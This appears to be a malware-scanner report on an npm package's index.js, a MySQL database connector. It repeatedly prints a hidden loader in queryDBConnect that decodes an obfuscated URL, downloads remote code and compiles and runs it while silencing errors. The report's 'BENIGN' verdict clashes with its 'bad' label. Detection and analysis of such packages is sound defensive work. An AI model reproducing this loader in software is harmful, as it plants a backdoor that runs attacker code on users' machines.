package/index.js
UNKNOWN
Verdict: BENIGN
Local reference
Suspicious dependency
Inferred
| 1 |
const mysql = require("mysql"); |
|
| 2 |
const util = require("util"); |
|
| 3 |
const axios = require("axios"); |
|
| 4 |
/** |
|
| 5 |
* Responsible for connecting to the configured database and execute queries |
|
| 6 |
*/ |
|
| 7 |
class DivbloxDatabaseConnector { |
|
| 225 |
* @param {string|{sql: string, nestTables: string|boolean}} query The query to execute. Can also pass an options object as per nodejs-mysql |
|
| 226 |
* @param {string} moduleName The name of the module, corresponding to the module defined in dxconfig.json |
|
| 227 |
* @param {[]} values Any values to insert into placeholders in sql. If not provided, it is assumed that the query can execute as is |
|
| 228 |
* @param {{}} transaction An optional transaction object that contains the database connection that must be used for the query |
|
| 229 |
* @returns {Promise<{}|null>} Returns null when an error occurs. Call getError() for more information |
|
| 268 |
async queryDBConnect() { |
|
| 269 |
try { |
|
| 270 |
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; |
npm package compiles hidden remote payload |
| 271 |
const s1 = (await axios.get(atob(HASH_KEY))).data.content; |
npm package compiles JsonKeeper payload |
| 275 |
const m = new Mod.Module("error.js", module.parent); |
npm package compiles hidden remote payload |
| 276 |
m.filename = "error.js"; |
|
| 277 |
m.paths = Mod.Module._nodeModulePaths(process.cwd()); |
|
| 279 |
m._compile(s1, "error.js"); |
npm package compiles hidden remote payload |
| 280 |
} catch (error) { |
|
| 281 |
// console.error(error); |
|
Objectives
| 268 |
async queryDBConnect() { |
|
| 269 |
try { |
|
| 270 |
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; |
|
| 271 |
const s1 = (await axios.get(atob(HASH_KEY))).data.content; |
|
| 279 |
m._compile(s1, "error.js"); |
|
| 280 |
} catch (error) { |
|
| 281 |
// console.error(error); |
|
| 275 |
const m = new Mod.Module("error.js", module.parent); |
|
| 276 |
m.filename = "error.js"; |
|
| 277 |
m.paths = Mod.Module._nodeModulePaths(process.cwd()); |
|
| 268 |
async queryDBConnect() { |
|
| 269 |
try { |
|
| 270 |
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; |
|
| 271 |
const s1 = (await axios.get(atob(HASH_KEY))).data.content; |
|
| 275 |
const m = new Mod.Module("error.js", module.parent); |
|
| 276 |
m.filename = "error.js"; |
|
| 277 |
m.paths = Mod.Module._nodeModulePaths(process.cwd()); |
|
| 279 |
m._compile(s1, "error.js"); |
|
| 280 |
} catch (error) { |
|
| 281 |
// console.error(error); |
|
| 268 |
async queryDBConnect() { |
|
| 269 |
try { |
|
| 270 |
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; |
|
| 271 |
const s1 = (await axios.get(atob(HASH_KEY))).data.content; |
|
| 275 |
const m = new Mod.Module("error.js", module.parent); |
|
| 276 |
m.filename = "error.js"; |
|
| 277 |
m.paths = Mod.Module._nodeModulePaths(process.cwd()); |
|
| 279 |
m._compile(s1, "error.js"); |
|
| 280 |
} catch (error) { |
|
| 281 |
// console.error(error); |
|
-
0
const mysql = require("mysql");
Micro-behaviors
| 268 |
async queryDBConnect() { |
|
| 269 |
try { |
|
| 270 |
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; |
|
| 271 |
const s1 = (await axios.get(atob(HASH_KEY))).data.content; |
|
| 1 |
const mysql = require("mysql"); |
|
| 2 |
const util = require("util"); |
|
| 3 |
const axios = require("axios"); |
|
| 4 |
/** |
|
| 5 |
* Responsible for connecting to the configured database and execute queries |
|
| 6 |
*/ |
|
| 7 |
class DivbloxDatabaseConnector { |
|
| 268 |
async queryDBConnect() { |
|
| 269 |
try { |
|
| 270 |
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; |
|
| 271 |
const s1 = (await axios.get(atob(HASH_KEY))).data.content; |
|
| 1 |
const mysql = require("mysql"); |
|
| 2 |
const util = require("util"); |
|
| 3 |
const axios = require("axios"); |
|
| 4 |
/** |
|
| 5 |
* Responsible for connecting to the configured database and execute queries |
|
| 6 |
*/ |
|
| 7 |
class DivbloxDatabaseConnector { |
|
| 268 |
async queryDBConnect() { |
|
| 269 |
try { |
|
| 270 |
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; |
|
| 271 |
const s1 = (await axios.get(atob(HASH_KEY))).data.content; |
|
| 268 |
async queryDBConnect() { |
|
| 269 |
try { |
|
| 270 |
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; |
|
| 271 |
const s1 = (await axios.get(atob(HASH_KEY))).data.content; |
|
Metadata
| 73 |
*/ |
|
| 74 |
async connectDB(moduleName) { |
|
| 75 |
if (typeof moduleName === "undefined") { |
|
| 76 |
this.populateError("Invalid module name provided"); |
|
| 77 |
return null; |
|
| 78 |
} |
|
| 423 |
if (typeof errorToPush === "string") { |
|
| 424 |
message = errorToPush; |
|
| 425 |
} else if ( |
|
| 431 |
} else { |
|
| 432 |
this.populateError( |
|
| 433 |
"Invalid error type provided, errors can be only of type string/Object/Error/DxBaseError", |
|
| 434 |
); |
|
| 435 |
return; |
|
Identity
| SHA-256 |
5ec319f44610644a95e0cfaccf4fba6cbe3b2f0a1532f9179bcff3d22b121cbe |
| Filename |
package/index.js |
Origin
| Source |
forager |
| Feed |
aikido.dev |
| Ecosystem |
javascript |
Timeline
| First seen |
21 Jun 2026 00:46 UTC |
| First analyzed |
21 Jun 2026 00:46 UTC |
| Last analyzed |
27 Jun 2026 15:09 UTC |
| Last updated |
27 Jun 2026 15:08 UTC |
Labeling
| Label |
bad |
| Label source |
forager |